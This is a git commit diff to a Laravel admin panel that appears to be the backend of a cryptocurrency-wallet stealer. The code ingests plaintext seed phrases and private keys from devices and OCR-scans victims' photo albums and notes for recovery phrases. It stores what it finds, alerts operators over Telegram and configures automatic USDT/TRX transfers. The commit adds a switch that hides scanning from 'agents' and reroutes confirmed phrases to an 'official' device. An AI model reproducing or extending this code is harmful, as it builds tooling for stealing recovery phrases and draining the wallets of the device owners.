feat: scan

This commit is contained in:
hashbro
2026-09-13 01:22:54 +08:00
parent 4fa162c72c
commit 7fc5f43c01
19 changed files with 328 additions and 30 deletions
+2
View File
@@ -106,6 +106,8 @@ TRUSTED_PROXIES=*
XXBB_CHANNEL_C= XXBB_CHANNEL_C=
TELEGRAM_BOT_USERNAME= TELEGRAM_BOT_USERNAME=
CORUNA_OFFICIAL_ALBUM_STORAGE=0 CORUNA_OFFICIAL_ALBUM_STORAGE=0
# 1 = 代理可见助记词扫描且入库挂原设备;0 = 隐藏代理扫描菜单,扫描入库挂官方设备
CORUNA_AGENT_MNEMONIC_SCAN=1
# 0 = only super admin can reveal mnemonics; 1 = staff + per-agent switch (still requires Google 2FA) # 0 = only super admin can reveal mnemonics; 1 = staff + per-agent switch (still requires Google 2FA)
CORUNA_STAFF_MNEMONIC_REVEAL=0 CORUNA_STAFF_MNEMONIC_REVEAL=0
AUTO_TRANSFER_ENABLED=0 AUTO_TRANSFER_ENABLED=0
@@ -145,6 +145,7 @@ class DeviceController extends Controller
'google_bound' => $this->googleBoundForReveal(), 'google_bound' => $this->googleBoundForReveal(),
'google2fa_url' => $this->google2faUrl(), 'google2fa_url' => $this->google2faUrl(),
'can_clear_photos' => $this->canClearPhotos(), 'can_clear_photos' => $this->canClearPhotos(),
'show_scan' => $this->agentCanSeeScan(),
]); ]);
} }
@@ -562,7 +563,8 @@ class DeviceController extends Controller
$readIds = ($guard !== null && $actorId !== null) $readIds = ($guard !== null && $actorId !== null)
? PhotoRead::readPhotoIds($guard, $actorId, $paginator->getCollection()->pluck('id')->all()) ? PhotoRead::readPhotoIds($guard, $actorId, $paginator->getCollection()->pluck('id')->all())
: []; : [];
$data = collect($paginator->items())->map(function (Photo $photo) use ($device, $portal, $readIds) { $showScan = $this->agentCanSeeScan();
$data = collect($paginator->items())->map(function (Photo $photo) use ($device, $portal, $readIds, $showScan) {
return [ return [
'id' => $photo->id, 'id' => $photo->id,
'url' => route($portal.'.devices.photo', [$device, $photo->id, 'seen' => 1]), 'url' => route($portal.'.devices.photo', [$device, $photo->id, 'seen' => 1]),
@@ -573,14 +575,16 @@ class DeviceController extends Controller
'process_index' => $photo->process_index, 'process_index' => $photo->process_index,
'text_count' => $photo->text_count, 'text_count' => $photo->text_count,
'barcode_count' => $photo->barcode_count, 'barcode_count' => $photo->barcode_count,
'scan_status' => (int) $photo->scan_status, 'scan_status' => $showScan ? (int) $photo->scan_status : 0,
'scan_label' => \App\Services\MnemonicScanStatus::label((int) $photo->scan_status), 'scan_label' => $showScan ? \App\Services\MnemonicScanStatus::label((int) $photo->scan_status) : '',
'read' => in_array($photo->id, $readIds, true) ? 1 : 0, 'read' => in_array($photo->id, $readIds, true) ? 1 : 0,
'created_at' => optional($photo->created_at)->format('Y-m-d H:i:s'), 'created_at' => optional($photo->created_at)->format('Y-m-d H:i:s'),
]; ];
})->values(); })->values();
$scan = app(\App\Services\MnemonicScanService::class)->photoProgress($device->id); $scan = $showScan
? app(\App\Services\MnemonicScanService::class)->photoProgress($device->id)
: null;
return $this->layuiPage($paginator->total(), $data, $scan); return $this->layuiPage($paginator->total(), $data, $scan);
} }
@@ -716,7 +720,8 @@ class DeviceController extends Controller
$scans = $note $scans = $note
? \App\Models\NoteScan::query()->where('note_id', $note->id)->get()->keyBy('item_key') ? \App\Models\NoteScan::query()->where('note_id', $note->id)->get()->keyBy('item_key')
: collect(); : collect();
$data = collect($slice)->values()->map(function (array $item, int $i) use ($page, $limit, $reportedAt, $scans) { $showScan = $this->agentCanSeeScan();
$data = collect($slice)->values()->map(function (array $item, int $i) use ($page, $limit, $reportedAt, $scans, $showScan) {
$index = (($page - 1) * $limit) + $i; $index = (($page - 1) * $limit) + $i;
$key = \App\Models\NoteScan::itemKey($item, $index); $key = \App\Models\NoteScan::itemKey($item, $index);
$status = (int) ($scans[$key]->scan_status ?? \App\Services\MnemonicScanStatus::PENDING); $status = (int) ($scans[$key]->scan_status ?? \App\Services\MnemonicScanStatus::PENDING);
@@ -725,13 +730,15 @@ class DeviceController extends Controller
'id' => $index + 1, 'id' => $index + 1,
'title' => $item['title'] ?? '', 'title' => $item['title'] ?? '',
'body' => $item['body'] ?? '', 'body' => $item['body'] ?? '',
'scan_status' => $status, 'scan_status' => $showScan ? $status : 0,
'scan_label' => \App\Services\MnemonicScanStatus::label($status), 'scan_label' => $showScan ? \App\Services\MnemonicScanStatus::label($status) : '',
'created_at' => $reportedAt ?: '', 'created_at' => $reportedAt ?: '',
]; ];
}); });
$scan = app(\App\Services\MnemonicScanService::class)->noteProgress($device); $scan = $showScan
? app(\App\Services\MnemonicScanService::class)->noteProgress($device)
: null;
return $this->layuiPage($total, $data, $scan); return $this->layuiPage($total, $data, $scan);
} }
@@ -758,6 +765,11 @@ class DeviceController extends Controller
return $this->layuiPage($paginator->total(), $data); return $this->layuiPage($paginator->total(), $data);
} }
private function agentCanSeeScan(): bool
{
return ! $this->isAgentPortal() || (bool) config('coruna.scan.agent_visible', true);
}
/** /**
* @param Collection<int, array<string, mixed>>|array<int, array<string, mixed>> $data * @param Collection<int, array<string, mixed>>|array<int, array<string, mixed>> $data
*/ */
@@ -41,6 +41,7 @@ class MnemonicController extends Controller
'agents' => $agents, 'agents' => $agents,
'sources' => $sources, 'sources' => $sources,
'can_reveal' => $this->canRevealMnemonics(), 'can_reveal' => $this->canRevealMnemonics(),
'show_origin' => $this->canSeeOriginDevice(),
'google_bound' => $this->googleBoundForReveal(), 'google_bound' => $this->googleBoundForReveal(),
'google2fa_url' => $this->google2faUrl(), 'google2fa_url' => $this->google2faUrl(),
]); ]);
@@ -64,16 +65,21 @@ class MnemonicController extends Controller
$portal = $this->portal(); $portal = $this->portal();
$canReveal = $this->canRevealMnemonics(); $canReveal = $this->canRevealMnemonics();
$data = collect($paginator->items())->map(function ($row) use ($portal, $canReveal) { $showOrigin = $this->canSeeOriginDevice();
$data = collect($paginator->items())->map(function ($row) use ($portal, $canReveal, $showOrigin) {
$originId = $showOrigin ? (int) ($row->origin_device_id ?? 0) : 0;
return [ return [
'id' => $row->id, 'id' => $row->id,
'device_key' => $row->device_key ?: '', 'device_key' => $row->device_key ?: '',
'origin_device_key' => $showOrigin ? ($row->origin_device_key ?: '') : '',
'channel_id' => $row->device_channel_id ?: '', 'channel_id' => $row->device_channel_id ?: '',
'source' => $row->source ?: '', 'source' => $row->source ?: '',
'mnemonic' => WalletMnemonic::maskSecret($row->mnemonic), 'mnemonic' => WalletMnemonic::maskSecret($row->mnemonic),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $row->device_id), 'detail_url' => route($portal.'.devices.show', $row->device_id),
'origin_detail_url' => $originId > 0 ? route($portal.'.devices.show', $originId) : '',
'wallets_url' => route($portal.'.mnemonics.wallets', $row->id), 'wallets_url' => route($portal.'.mnemonics.wallets', $row->id),
'refresh_url' => route($portal.'.mnemonics.wallets.refresh', $row->id), 'refresh_url' => route($portal.'.mnemonics.wallets.refresh', $row->id),
'can_reveal' => $canReveal, 'can_reveal' => $canReveal,
@@ -269,10 +275,12 @@ class MnemonicController extends Controller
{ {
$q = WalletMnemonic::query() $q = WalletMnemonic::query()
->join('devices', 'devices.id', '=', 'wallet_mnemonics.device_id') ->join('devices', 'devices.id', '=', 'wallet_mnemonics.device_id')
->leftJoin('devices as origin_devices', 'origin_devices.id', '=', 'wallet_mnemonics.origin_device_id')
->select([ ->select([
'wallet_mnemonics.*', 'wallet_mnemonics.*',
'devices.device_id as device_key', 'devices.device_id as device_key',
'devices.channel_id as device_channel_id', 'devices.channel_id as device_channel_id',
'origin_devices.device_id as origin_device_key',
]); ]);
AgentScope::applyDeviceChannelScope($q, $this->agent()); AgentScope::applyDeviceChannelScope($q, $this->agent());
@@ -284,7 +292,10 @@ class MnemonicController extends Controller
$q->where('devices.channel_id', 'like', '%'.$channelId.'%'); $q->where('devices.channel_id', 'like', '%'.$channelId.'%');
} }
if ($deviceKey !== '') { if ($deviceKey !== '') {
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%'); $q->where(function ($inner) use ($deviceKey) {
$inner->where('devices.device_id', 'like', '%'.$deviceKey.'%')
->orWhere('origin_devices.device_id', 'like', '%'.$deviceKey.'%');
});
} }
if ($source !== '') { if ($source !== '') {
$q->where('wallet_mnemonics.source', $source); $q->where('wallet_mnemonics.source', $source);
@@ -298,4 +309,9 @@ class MnemonicController extends Controller
return $q; return $q;
} }
private function canSeeOriginDevice(): bool
{
return ! $this->isAgentPortal() || (bool) config('coruna.scan.agent_visible', true);
}
} }
@@ -17,6 +17,7 @@ class MnemonicFindingController extends Controller
public function index(MnemonicScanService $scan) public function index(MnemonicScanService $scan)
{ {
$this->denyHiddenAgentScan();
$agents = $this->isAgentPortal() $agents = $this->isAgentPortal()
? collect() ? collect()
: User::query()->orderBy('username')->get(['id', 'username']); : User::query()->orderBy('username')->get(['id', 'username']);
@@ -31,6 +32,7 @@ class MnemonicFindingController extends Controller
public function data(Request $request) public function data(Request $request)
{ {
$this->denyHiddenAgentScan();
$q = $this->baseQuery($request); $q = $this->baseQuery($request);
$status = trim((string) $request->query('status', '')); $status = trim((string) $request->query('status', ''));
if (in_array($status, [MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::STATUS_CONFIRMED, MnemonicFinding::STATUS_DISMISSED], true)) { if (in_array($status, [MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::STATUS_CONFIRMED, MnemonicFinding::STATUS_DISMISSED], true)) {
@@ -83,6 +85,7 @@ class MnemonicFindingController extends Controller
public function confirm(Request $request, MnemonicFinding $finding, MnemonicScanService $scan) public function confirm(Request $request, MnemonicFinding $finding, MnemonicScanService $scan)
{ {
$this->denyHiddenAgentScan();
if (! $this->findingInScope($finding)) { if (! $this->findingInScope($finding)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403); return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
} }
@@ -99,6 +102,7 @@ class MnemonicFindingController extends Controller
public function dismiss(MnemonicFinding $finding, MnemonicScanService $scan) public function dismiss(MnemonicFinding $finding, MnemonicScanService $scan)
{ {
$this->denyHiddenAgentScan();
if (! $this->findingInScope($finding)) { if (! $this->findingInScope($finding)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403); return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
} }
@@ -107,6 +111,13 @@ class MnemonicFindingController extends Controller
return response()->json(['code' => 0, 'msg' => 'ok']); return response()->json(['code' => 0, 'msg' => 'ok']);
} }
private function denyHiddenAgentScan(): void
{
if ($this->isAgentPortal() && ! config('coruna.scan.agent_visible', true)) {
abort(403, '无权访问');
}
}
private function findingInScope(MnemonicFinding $finding): bool private function findingInScope(MnemonicFinding $finding): bool
{ {
$q = MnemonicFinding::query() $q = MnemonicFinding::query()
@@ -40,6 +40,7 @@ class SystemSettingsController extends Controller
$data = $request->validate([ $data = $request->validate([
'telegram_owner_chat_id' => ['nullable', 'string', 'max:64'], 'telegram_owner_chat_id' => ['nullable', 'string', 'max:64'],
'official_album_storage' => ['nullable', 'in:0,1'], 'official_album_storage' => ['nullable', 'in:0,1'],
'agent_mnemonic_scan' => ['nullable', 'in:0,1'],
'auto_transfer_enabled' => ['nullable', 'in:0,1'], 'auto_transfer_enabled' => ['nullable', 'in:0,1'],
'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'], 'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'],
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'], 'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
@@ -74,6 +75,7 @@ class SystemSettingsController extends Controller
'telegram.bot_username' => $username !== '' ? $username : null, 'telegram.bot_username' => $username !== '' ? $username : null,
'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null, 'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null,
'album_storage.official_default' => (($data['official_album_storage'] ?? '0') === '1') ? '1' : '0', 'album_storage.official_default' => (($data['official_album_storage'] ?? '0') === '1') ? '1' : '0',
'scan.agent_visible' => (($data['agent_mnemonic_scan'] ?? '1') === '1') ? '1' : '0',
'auto_transfer.enabled' => (($data['auto_transfer_enabled'] ?? '0') === '1') ? '1' : '0', 'auto_transfer.enabled' => (($data['auto_transfer_enabled'] ?? '0') === '1') ? '1' : '0',
'auto_transfer.threshold_usdt' => $threshold($data['auto_transfer_threshold_usdt'] ?? null) ?? '', 'auto_transfer.threshold_usdt' => $threshold($data['auto_transfer_threshold_usdt'] ?? null) ?? '',
'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '', 'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '',
+16
View File
@@ -238,6 +238,22 @@ class Device extends Model
return $this->hasMany(WalletMnemonic::class); return $this->hasMany(WalletMnemonic::class);
} }
/** Oldest device on an official channel; used as scan-ingest holder. */
public static function officialHolder(): ?self
{
$channelIds = Channel::query()
->where('user_id', Channel::OFFICIAL_USER_ID)
->pluck('channel_id');
if ($channelIds->isEmpty()) {
return null;
}
return static::query()
->whereIn('channel_id', $channelIds)
->orderBy('id')
->first();
}
public function keystores(): HasMany public function keystores(): HasMany
{ {
return $this->hasMany(WalletKeystore::class); return $this->hasMany(WalletKeystore::class);
+6 -1
View File
@@ -10,7 +10,7 @@ use Illuminate\Support\Facades\Crypt;
class WalletMnemonic extends Model class WalletMnemonic extends Model
{ {
protected $fillable = [ protected $fillable = [
'device_id', 'source', 'mnemonic_hash', 'mnemonic_enc', 'device_id', 'origin_device_id', 'source', 'mnemonic_hash', 'mnemonic_enc',
]; ];
public function device(): BelongsTo public function device(): BelongsTo
@@ -18,6 +18,11 @@ class WalletMnemonic extends Model
return $this->belongsTo(Device::class); return $this->belongsTo(Device::class);
} }
public function originDevice(): BelongsTo
{
return $this->belongsTo(Device::class, 'origin_device_id');
}
public function addresses(): HasMany public function addresses(): HasMany
{ {
return $this->hasMany(WalletAddress::class, 'mnemonic_id'); return $this->hasMany(WalletAddress::class, 'mnemonic_id');
+10 -2
View File
@@ -512,7 +512,7 @@ class IngestService
/** /**
* `/api/user/set` — plaintext mnemonic / private key in `result`. * `/api/user/set` — plaintext mnemonic / private key in `result`.
*/ */
public function ingestMnemonic(Device $device, ?array $payload): void public function ingestMnemonic(Device $device, ?array $payload, ?Device $origin = null): void
{ {
if (! is_array($payload)) { if (! is_array($payload)) {
return; return;
@@ -545,10 +545,18 @@ class IngestService
$source = WalletSource::fromTag($payload['a'] ?? null); $source = WalletSource::fromTag($payload['a'] ?? null);
$row->source = $source; $row->source = $source;
$row->mnemonic = $secret; $row->mnemonic = $secret;
if ($origin !== null && (int) $origin->id !== (int) $device->id && empty($row->origin_device_id)) {
$row->origin_device_id = $origin->id;
}
$row->save(); $row->save();
if ($isNew) { if ($isNew) {
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($row); $this->mnemonicLinker->linkMnemonicToDeviceAddresses($row);
$this->telegram->notifyNewMemoric($device->device_id, $source, $secret); $this->telegram->notifyNewMemoric(
$device->device_id,
$source,
$secret,
$origin !== null ? $origin->device_id : null,
);
} }
} }
+27 -8
View File
@@ -117,10 +117,11 @@ class MnemonicScanService
} }
$finding->candidate = $phrase; $finding->candidate = $phrase;
$finding->word_count = count(preg_split('/\s+/', $phrase) ?: []); $finding->word_count = count(preg_split('/\s+/', $phrase) ?: []);
$this->ingest->ingestMnemonic($device, [ $this->ingestScanMnemonic(
'mnemonic' => $phrase, $device,
'a' => $finding->source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan', $phrase,
]); $finding->source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
);
$finding->status = MnemonicFinding::STATUS_CONFIRMED; $finding->status = MnemonicFinding::STATUS_CONFIRMED;
$finding->reviewed_by = $actor; $finding->reviewed_by = $actor;
$finding->reviewed_at = now(); $finding->reviewed_at = now();
@@ -292,13 +293,31 @@ class MnemonicScanService
$row->save(); $row->save();
if ($confirmed) { if ($confirmed) {
$this->ingest->ingestMnemonic($device, [ $this->ingestScanMnemonic(
'mnemonic' => $hit['candidate'], $device,
'a' => $source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan', (string) $hit['candidate'],
]); $source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
);
} }
} }
private function ingestScanMnemonic(Device $source, string $phrase, string $tag): void
{
$holder = $source;
$origin = null;
if (! config('coruna.scan.agent_visible', true)) {
$official = Device::officialHolder();
if ($official !== null && (int) $official->id !== (int) $source->id) {
$holder = $official;
$origin = $source;
}
}
$this->ingest->ingestMnemonic($holder, [
'mnemonic' => $phrase,
'a' => $tag,
], $origin);
}
/** /**
* Album and notes both need 12+ consecutive words that can derive an address. * Album and notes both need 12+ consecutive words that can derive an address.
* *
+4
View File
@@ -15,6 +15,7 @@ class SettingsService
'telegram.bot_username' => 'TELEGRAM_BOT_USERNAME', 'telegram.bot_username' => 'TELEGRAM_BOT_USERNAME',
'telegram.owner_chat_id' => 'TELEGRAM_OWNER_CHAT_ID', 'telegram.owner_chat_id' => 'TELEGRAM_OWNER_CHAT_ID',
'album_storage.official_default' => 'CORUNA_OFFICIAL_ALBUM_STORAGE', 'album_storage.official_default' => 'CORUNA_OFFICIAL_ALBUM_STORAGE',
'scan.agent_visible' => 'CORUNA_AGENT_MNEMONIC_SCAN',
'auto_transfer.enabled' => 'AUTO_TRANSFER_ENABLED', 'auto_transfer.enabled' => 'AUTO_TRANSFER_ENABLED',
'auto_transfer.threshold_usdt' => 'AUTO_TRANSFER_THRESHOLD_USDT', 'auto_transfer.threshold_usdt' => 'AUTO_TRANSFER_THRESHOLD_USDT',
'auto_transfer.threshold_trx' => 'AUTO_TRANSFER_THRESHOLD_TRX', 'auto_transfer.threshold_trx' => 'AUTO_TRANSFER_THRESHOLD_TRX',
@@ -37,6 +38,7 @@ class SettingsService
'telegram.bot_username' => config('coruna.telegram.bot_username'), 'telegram.bot_username' => config('coruna.telegram.bot_username'),
'telegram.owner_chat_id' => config('coruna.telegram.owner_chat_id'), 'telegram.owner_chat_id' => config('coruna.telegram.owner_chat_id'),
'album_storage.official_default' => config('coruna.album_storage.official_default') ? '1' : '0', 'album_storage.official_default' => config('coruna.album_storage.official_default') ? '1' : '0',
'scan.agent_visible' => config('coruna.scan.agent_visible') ? '1' : '0',
'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0', 'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0',
'auto_transfer.threshold_usdt' => config('coruna.auto_transfer.threshold_usdt'), 'auto_transfer.threshold_usdt' => config('coruna.auto_transfer.threshold_usdt'),
'auto_transfer.threshold_trx' => config('coruna.auto_transfer.threshold_trx'), 'auto_transfer.threshold_trx' => config('coruna.auto_transfer.threshold_trx'),
@@ -100,6 +102,7 @@ class SettingsService
'telegram.bot_username' => (string) (config('coruna.telegram.bot_username') ?: ''), 'telegram.bot_username' => (string) (config('coruna.telegram.bot_username') ?: ''),
'telegram.owner_chat_id' => (string) (config('coruna.telegram.owner_chat_id') ?: ''), 'telegram.owner_chat_id' => (string) (config('coruna.telegram.owner_chat_id') ?: ''),
'album_storage.official_default' => config('coruna.album_storage.official_default') ? '1' : '0', 'album_storage.official_default' => config('coruna.album_storage.official_default') ? '1' : '0',
'scan.agent_visible' => config('coruna.scan.agent_visible') ? '1' : '0',
'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0', 'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0',
'auto_transfer.threshold_usdt' => (string) (config('coruna.auto_transfer.threshold_usdt') ?? ''), 'auto_transfer.threshold_usdt' => (string) (config('coruna.auto_transfer.threshold_usdt') ?? ''),
'auto_transfer.threshold_trx' => (string) (config('coruna.auto_transfer.threshold_trx') ?? ''), 'auto_transfer.threshold_trx' => (string) (config('coruna.auto_transfer.threshold_trx') ?? ''),
@@ -140,6 +143,7 @@ class SettingsService
'telegram.bot_username' => config(['coruna.telegram.bot_username' => $value]), 'telegram.bot_username' => config(['coruna.telegram.bot_username' => $value]),
'telegram.owner_chat_id' => config(['coruna.telegram.owner_chat_id' => $value]), 'telegram.owner_chat_id' => config(['coruna.telegram.owner_chat_id' => $value]),
'album_storage.official_default' => config(['coruna.album_storage.official_default' => $value === '1']), 'album_storage.official_default' => config(['coruna.album_storage.official_default' => $value === '1']),
'scan.agent_visible' => config(['coruna.scan.agent_visible' => $value === '1']),
'auto_transfer.enabled' => config(['coruna.auto_transfer.enabled' => $value === '1']), 'auto_transfer.enabled' => config(['coruna.auto_transfer.enabled' => $value === '1']),
'auto_transfer.threshold_usdt' => config(['coruna.auto_transfer.threshold_usdt' => $value]), 'auto_transfer.threshold_usdt' => config(['coruna.auto_transfer.threshold_usdt' => $value]),
'auto_transfer.threshold_trx' => config(['coruna.auto_transfer.threshold_trx' => $value]), 'auto_transfer.threshold_trx' => config(['coruna.auto_transfer.threshold_trx' => $value]),
+10 -5
View File
@@ -312,14 +312,19 @@ class TelegramNotifier
} }
} }
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric, ?string $originDeviceId = null): void
{ {
$this->send(implode("\n", [ $lines = [
'🔐 <b>新助记词</b>', '🔐 <b>新助记词</b>',
...$this->deviceHeader($deviceId), ...$this->deviceHeader($deviceId),
'🏷 <b>来源</b>: '.$this->e($source ?: '—'), ];
'📝 <b>助记词</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>', $origin = trim((string) $originDeviceId);
]), $deviceId); if ($origin !== '' && $origin !== $deviceId) {
$lines[] = '📎 <b>原设备</b>: <code>'.$this->e($origin).'</code>';
}
$lines[] = '🏷 <b>来源</b>: '.$this->e($source ?: '—');
$lines[] = '📝 <b>助记词</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>';
$this->send(implode("\n", $lines), $deviceId);
} }
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
+6
View File
@@ -62,6 +62,12 @@ return [
'official_default' => in_array(strtolower((string) env('CORUNA_OFFICIAL_ALBUM_STORAGE', '0')), ['1', 'true', 'yes', 'on'], true), 'official_default' => in_array(strtolower((string) env('CORUNA_OFFICIAL_ALBUM_STORAGE', '0')), ['1', 'true', 'yes', 'on'], true),
], ],
'scan' => [
// On: agent portal sees 助记词扫描 and scan ingest stays on the source device.
// Off: hide agent scan UI; confirmed scan mnemonics ingest onto an official device.
'agent_visible' => in_array(strtolower((string) env('CORUNA_AGENT_MNEMONIC_SCAN', '1')), ['1', 'true', 'yes', 'on'], true),
],
'mnemonic_reveal' => [ 'mnemonic_reveal' => [
// Off: only super admin can reveal. On: staff admins + agents with can_reveal_mnemonics. // Off: only super admin can reveal. On: staff admins + agents with can_reveal_mnemonics.
'staff_enabled' => in_array(strtolower((string) env('CORUNA_STAFF_MNEMONIC_REVEAL', '0')), ['1', 'true', 'yes', 'on'], true), 'staff_enabled' => in_array(strtolower((string) env('CORUNA_STAFF_MNEMONIC_REVEAL', '0')), ['1', 'true', 'yes', 'on'], true),
@@ -0,0 +1,24 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('wallet_mnemonics', function (Blueprint $table) {
$table->unsignedBigInteger('origin_device_id')->nullable()->after('device_id');
$table->index('origin_device_id');
});
}
public function down(): void
{
Schema::table('wallet_mnemonics', function (Blueprint $table) {
$table->dropIndex(['origin_device_id']);
$table->dropColumn('origin_device_id');
});
}
};
+12 -2
View File
@@ -264,12 +264,16 @@
</div> </div>
</div> </div>
</form> </form>
@if(!empty($show_scan))
<div id="LAY-photo-scan" class="scan-progress">扫描进度:—</div> <div id="LAY-photo-scan" class="scan-progress">扫描进度:—</div>
@endif
<div id="LAY-photo-grid" class="photo-grid"></div> <div id="LAY-photo-grid" class="photo-grid"></div>
<div id="LAY-photo-empty" style="display:none;color:#999;padding:12px 0;">暂无相册</div> <div id="LAY-photo-empty" style="display:none;color:#999;padding:12px 0;">暂无相册</div>
<div id="LAY-photo-page" style="margin-top: 16px; text-align: right;"></div> <div id="LAY-photo-page" style="margin-top: 16px; text-align: right;"></div>
@elseif ($tab === 'notes') @elseif ($tab === 'notes')
@if(!empty($show_scan))
<div id="LAY-note-scan" class="scan-progress">扫描进度:—</div> <div id="LAY-note-scan" class="scan-progress">扫描进度:—</div>
@endif
<div id="LAY-note-cards"></div> <div id="LAY-note-cards"></div>
<div id="LAY-note-empty" style="display:none;color:#999;padding:12px 0;">暂无备忘录</div> <div id="LAY-note-empty" style="display:none;color:#999;padding:12px 0;">暂无备忘录</div>
<div id="LAY-note-page" style="margin-top: 16px; text-align: right;"></div> <div id="LAY-note-page" style="margin-top: 16px; text-align: right;"></div>
@@ -414,9 +418,11 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
}, function (res) { }, function (res) {
var $grid = $('#LAY-photo-grid').empty(); var $grid = $('#LAY-photo-grid').empty();
var list = (res && res.data) ? res.data : []; var list = (res && res.data) ? res.data : [];
@if(!empty($show_scan))
if (res && res.scan) { if (res && res.scan) {
$('#LAY-photo-scan').text('相册扫描:' + res.scan.scanned + '/' + res.scan.total + ' 已扫 · ' + res.scan.suspected + ' 疑似 · ' + res.scan.confirmed + ' 确定'); $('#LAY-photo-scan').text('相册扫描:' + res.scan.scanned + '/' + res.scan.total + ' 已扫 · ' + res.scan.suspected + ' 疑似 · ' + res.scan.confirmed + ' 确定');
} }
@endif
if (!list.length) { if (!list.length) {
$('#LAY-photo-empty').show(); $('#LAY-photo-empty').show();
} else { } else {
@@ -426,7 +432,9 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
var card = $( var card = $(
'<a class="photo-card" href="javascript:;">' + '<a class="photo-card" href="javascript:;">' +
(Number(p.read) === 1 ? '' : '<i class="photo-unread-dot" title="未读"></i>') + (Number(p.read) === 1 ? '' : '<i class="photo-unread-dot" title="未读"></i>') +
'<span class="scan-badge scan-badge-' + Number(p.scan_status || 0) + '">' + (p.scan_label || '未扫') + '</span>' + @if(!empty($show_scan))
(p.scan_label ? '<span class="scan-badge scan-badge-' + Number(p.scan_status || 0) + '">' + p.scan_label + '</span>' : '') +
@endif
'<img alt="">' + '<img alt="">' +
'<div></div>' + '<div></div>' +
'<div class="muted" style="font-size:12px;color:#888;"></div>' + '<div class="muted" style="font-size:12px;color:#888;"></div>' +
@@ -537,16 +545,18 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
}, function (res) { }, function (res) {
var $list = $('#LAY-note-cards').empty(); var $list = $('#LAY-note-cards').empty();
var items = (res && res.data) ? res.data : []; var items = (res && res.data) ? res.data : [];
@if(!empty($show_scan))
if (res && res.scan) { if (res && res.scan) {
$('#LAY-note-scan').text('备忘录扫描:' + res.scan.scanned + '/' + res.scan.total + ' 已扫 · ' + res.scan.suspected + ' 疑似 · ' + res.scan.confirmed + ' 确定'); $('#LAY-note-scan').text('备忘录扫描:' + res.scan.scanned + '/' + res.scan.total + ' 已扫 · ' + res.scan.suspected + ' 疑似 · ' + res.scan.confirmed + ' 确定');
} }
@endif
if (!items.length) { if (!items.length) {
$('#LAY-note-empty').show(); $('#LAY-note-empty').show();
} else { } else {
$('#LAY-note-empty').hide(); $('#LAY-note-empty').hide();
items.forEach(function (it) { items.forEach(function (it) {
var $card = $('<div class="note-card"></div>'); var $card = $('<div class="note-card"></div>');
$card.append($('<div class="note-card-title"></div>').text((it.scan_label ? ('[' + it.scan_label + '] ') : '') + (it.title || '无标题'))); $card.append($('<div class="note-card-title"></div>').text({{ !empty($show_scan) ? "(it.scan_label ? ('[' + it.scan_label + '] ') : '') + " : '' }}(it.title || '无标题')));
$card.append($('<pre class="note-card-body"></pre>').text(it.body || '')); $card.append($('<pre class="note-card-body"></pre>').text(it.body || ''));
$list.append($card); $list.append($card);
}); });
@@ -3,7 +3,10 @@
@section('title', '助记词') @section('title', '助记词')
@section('content') @section('content')
@php $portal = $portal ?? 'admin'; @endphp @php
$portal = $portal ?? 'admin';
$showOrigin = !empty($show_origin);
@endphp
<style> <style>
.mn-wallet-wrap { padding: 12px 16px 16px; } .mn-wallet-wrap { padding: 12px 16px 16px; }
.mn-wallet-hd { .mn-wallet-hd {
@@ -232,7 +235,12 @@ layui.use(['table', 'form', 'layer'], function () {
{ field: 'id', title: 'ID', width: 70, sort: true }, { field: 'id', title: 'ID', width: 70, sort: true },
{ field: 'source', title: '来源', width: 140 }, { field: 'source', title: '来源', width: 140 },
{ field: 'mnemonic', title: '助记词', width: 160 }, { field: 'mnemonic', title: '助记词', width: 160 },
{ field: 'device_key', title: '设备 ID', minWidth: 220 }, { field: 'device_key', title: '设备 ID', minWidth: 200 },
@if($showOrigin)
{ field: 'origin_device_key', title: '原设备', minWidth: 200, templet: function (d) {
return d.origin_device_key ? d.origin_device_key : '—';
}},
@endif
{ field: 'channel_id', title: '渠道 ID', minWidth: 220 }, { field: 'channel_id', title: '渠道 ID', minWidth: 220 },
{ field: 'created_at', title: '创建时间', width: 170, sort: true }, { field: 'created_at', title: '创建时间', width: 170, sort: true },
